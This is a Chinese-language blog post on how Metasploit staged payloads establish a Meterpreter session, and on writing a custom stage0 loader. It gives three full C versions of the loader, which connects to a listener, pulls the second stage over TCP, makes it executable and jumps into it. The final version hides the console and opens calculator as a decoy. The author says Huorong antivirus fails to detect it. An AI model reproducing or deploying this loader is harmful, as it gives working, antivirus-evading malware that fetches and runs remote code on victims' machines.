MSF 上线探究与免杀

对 MSF 上线和免杀的探究

MSF 上线过程

环境:

  1. Windows7 64 位,ip:192.168.52.133

  2. Kali Linux,ip:192.168.52.135

  3. Windows10 64 位:gcc 编译环境

我们先说一下分段加载,什么是分段加载呢?举个例子,在 Web 渗透中遇到存在文件上传漏洞,先上传一个小马,这个小马的功能就是用于上传大马,木马的功能由大马实现,小马仅仅是作为一个桥梁,把大马上传到服务器上,连接过程:

  1. shellcode 连接服务器
  2. 接收服务器发送过来的 stage1
  3. 阶段载荷
  4. 反射 dll 注入
  5. 实现 meterpreter

其中 stage0 就是上面说的小马,主要的功能就是与服务器进行通信,拉取 stage1 阶段载荷,我们平时使用 msfvenom 生成的 shellcode 就是 stage0 阶段的载荷,实现 meterpreter 功能的并不是这一串 shellcode,我们在平时使用 msf 上线时通常会看到 Sending stage 这行代码,这是 MSF 在向客户端发送 stage1 阶段的载荷:

1
2
3
4
5
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.52.135:9999
[*] Sending stage (175174 bytes) to 192.168.52.133
[*] Meterpreter session 1 opened (192.168.52.135:9999 -> 192.168.52.133:49160 ) at 2023-06-15 18:30:06 +0800

其中 stage1 阶段的载荷是一个叫做 metsrv 的 dll,服务端把这个 dll 发送过去,客户端通过反射 dll 注入方式执行这个 dll,才可以上线 MSF,如果监听时设置的载荷是 64 位的,那么 stage1 阶段的载荷就是metsrv.x64.dll,如果设置的载荷是 32 位的 stage1 阶段的载荷就是metsrv.x86.dll

编写 stage0 阶段

我们可以自己编写 stage0 来加载 MSF 的 stage,思路参考:msf上线原理与自写stage绕过杀软,写出来是这样(按需要修改 ip、port 为 Kali MSF 监听的,详细的代码分析请参考上面提到的链接):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")

void main() {
WSADATA ws_Data;
WSAStartup(MAKEWORD(2, 2), &ws_Data);

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sock_info = { 0 };
sock_info.sin_family = AF_INET;
sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.52.135");
sock_info.sin_port = htons(9999);
connect(sock, (SOCKADDR*)&sock_info, sizeof(SOCKADDR_IN));

DWORD recvSize;
recv(sock, (char*)&recvSize, sizeof(DWORD), 0);
PBYTE recbuf = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, recvSize);
DWORD recvSize2 = recvSize;
PBYTE recbuf2 = recbuf;

DWORD i = 1;
while (i > 0 && recvSize > 0) {
i = recv(sock, (char*)recbuf, recvSize, 0);
// 越过第一次接收的数据
recbuf = recbuf + i;
recvSize = recvSize - i;
}

VirtualProtect(recbuf2, recvSize2, PAGE_EXECUTE_READWRITE, &recvSize);
__asm {
mov edi, sock;
jmp recbuf2;
}
}

原文使用 VS 编译,我使用 VS 编译通过,但因 win7 上缺少某些 DLL,运行失败,缺少的依赖应该和 VS 有关,也就是说安装 VS 后应该能解决缺少 DLL 的问题,但如果目标电脑没有安装 VS 呢?于是我想着能不能修改汇编部分,使用 GCC 来编译,脱离对 VS 的依赖,在网上寻找有关 C GCC 内联汇编有关的资料后,编写了如下的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void main() {
WSADATA ws_Data;
WSAStartup(MAKEWORD(2, 2), &ws_Data);

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sock_info = { 0 };
sock_info.sin_family = AF_INET;
sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.52.135");
sock_info.sin_port = htons(9999);
connect(sock, (SOCKADDR*)&sock_info, sizeof(SOCKADDR_IN));

DWORD recvSize;
recv(sock, (char*)&recvSize, sizeof(DWORD), 0);
PBYTE recbuf = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, recvSize);
DWORD recvSize2 = recvSize;
PBYTE recbuf2 = recbuf;

DWORD i = 1;
while (i > 0 && recvSize > 0) {
i = recv(sock, (char*)recbuf, recvSize, 0);
// 越过第一次接收的数据
recbuf = recbuf + i;
recvSize = recvSize - i;
}

VirtualProtect(recbuf2, recvSize2, PAGE_EXECUTE_READWRITE, &recvSize);
__asm__ __volatile__ (
"movl %0, %%edi \n\t"
"jmp *%1 \n\t"
:
: "r"(sock), "r"(recbuf2)
: "%edi"
);
}

编译时的命令:

1
gcc shell.c -o shell.exe -lws2_32

在 kali 使用 MSF 开启监听,在 Win7 上运行编译好的程序,上线成功!

上线 MSF

但是 Win7 这边会有黑色的控制台,关掉就会导致下线,我们应该隐藏它,并且新启动一个程序来做掩盖,这里选择了计算器来测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#pragma comment(lib, "ws2_32.lib")

// 隐藏控制台
void __attribute__ ((constructor)) ctor() {
HWND window = GetConsoleWindow();
ShowWindow(window, SW_HIDE);
}

// 创建子进程
void subprocess() {
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcess(NULL, "calc.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

void main() {
WSADATA ws_Data;
WSAStartup(MAKEWORD(2, 2), &ws_Data);

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
SOCKADDR_IN sock_info = { 0 };
sock_info.sin_family = AF_INET;
sock_info.sin_addr.S_un.S_addr = inet_addr("192.168.52.135");
sock_info.sin_port = htons(9999);
connect(sock, (SOCKADDR*)&sock_info, sizeof(SOCKADDR_IN));

DWORD recvSize;
recv(sock, (char*)&recvSize, sizeof(DWORD), 0);
PBYTE recbuf = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, recvSize);
DWORD recvSize2 = recvSize;
PBYTE recbuf2 = recbuf;

DWORD i = 1;
while (i > 0 && recvSize > 0) {
i = recv(sock, (char*)recbuf, recvSize, 0);
// 越过第一次接收的数据
recbuf = recbuf + i;
recvSize = recvSize - i;
}

subprocess();

VirtualProtect(recbuf2, recvSize2, PAGE_EXECUTE_READWRITE, &recvSize);
__asm__ __volatile__ (
"movl %0, %%edi \n\t"
"jmp *%1 \n\t"
:
: "r"(sock), "r"(recbuf2)
: "%edi"
);
}

再次尝试:

上线 MSF

现在 Win7 只有一闪而过的控制台(我在 win10 进行测试时不会闪出控制台)和一个打开的计算器,就算关闭了计算器,MSF 那边也不会下线,而且对于我们编写的程序:

火绒免杀

火绒并未检测出异常。在 Win10 进行测试时,编写的木马仍然不会被火绒查杀,并且可以完成上线的操作


本文参考链接:

msf上线原理与自写stage绕过杀软

GCC-Inline-Assembly-HOWTO

如何创建子进程